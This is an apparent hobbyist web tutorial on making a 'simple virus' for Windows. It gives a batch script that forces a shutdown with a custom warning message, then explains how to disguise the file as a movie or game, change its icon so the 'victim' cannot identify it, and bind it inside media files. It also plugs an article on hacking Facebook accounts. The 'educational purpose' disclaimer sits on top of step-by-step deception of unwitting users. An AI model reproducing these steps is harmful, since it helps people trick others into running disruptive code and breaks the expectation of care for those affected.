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How To Make A Simple Virus ? (Windows)

Hello friends, You might be aware of what a virus is. Have you ever felt any excitement of making one by yourself? Let me tell you, making viruses is not a very difficult task instead, difficulty ranges with the type of virus being made. This article will tell  How to make a simple virus. Be sure, this is just for educational purpose and the virus being made is not harmful to user data. Let’s start off:

How to make a simple virus.

  • Run Notepad: Notepad will allow you to input text with very little formatting.
    Click Start –> All Programs –> Accessories –> Notepad.
  • Code: write down the following lines into your text file as such:
    @echo off
    echo Message here.
    shutdown -s -f -t 60 -c “<What ever you type here will be displayed as a warning message>”

Note: Here 60 relates to time after which the windows will shut down. you can change that value as per your wish.

Also, read: How To Hack Any Facebook Account Using Shadowave.

  • Now save the file with a name that would be provoking to the user to open the file. You can use a movie name or a game name to make user open the file.
  • Remember to save the file with .bat or .cmd extension. This makes the file executable.
  • Change the .txt extension to .bat or .cmd.
  • Now open the file and now you can change the icon of that file so as to make it more appealing for the user to open it.
  • For changing the icon, right click o the file and then click on properties and then click on change icon button. This will change the image of our virus and victim will not able to identify it.
  • Choose the icon which suits best to your file name and then clicks on OK button.

Also, you can hide this file ( the virus you just made) under any other media files like songs, videos or anything else. So victim will trust easily to it. For this, you need to take help of binders. For any help with binders follow the link below:

Feel free to ask any queries.


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